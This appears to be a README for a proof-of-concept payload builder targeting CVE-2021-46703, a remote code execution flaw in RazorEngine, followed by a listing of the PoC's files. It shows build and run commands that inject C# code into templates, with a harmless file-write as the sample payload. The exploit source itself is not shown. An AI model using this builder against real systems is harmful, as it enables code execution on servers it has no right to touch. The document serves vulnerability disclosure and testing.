Simple payload builder# CVE-2021-46703
Simple payload builder based on POC in: https://github.com/Antaris/RazorEngine/issues/585
## Usage
### C#
```bash
dotnet build --configuration Release
.\bin\Release\net4.8\Poc.exe "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"
```
### Python
```bash
./poc.py "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"
```
## Acknowledgements
- https://www.yielddd.com/about-us/discovery-of-a-critical-open-source-vulnerability-cve-2021-46703
[4.0K] /data/pocs/0ba4d7fca1c84d572428b835c670118d484150ef
├── [1.0K] LICENSE
├── [ 331] Poc.csproj
├── [1.3K] poc.py
├── [1.2K] Poc.sln
├── [4.3K] Program.cs
└── [ 478] README.md
0 directories, 6 files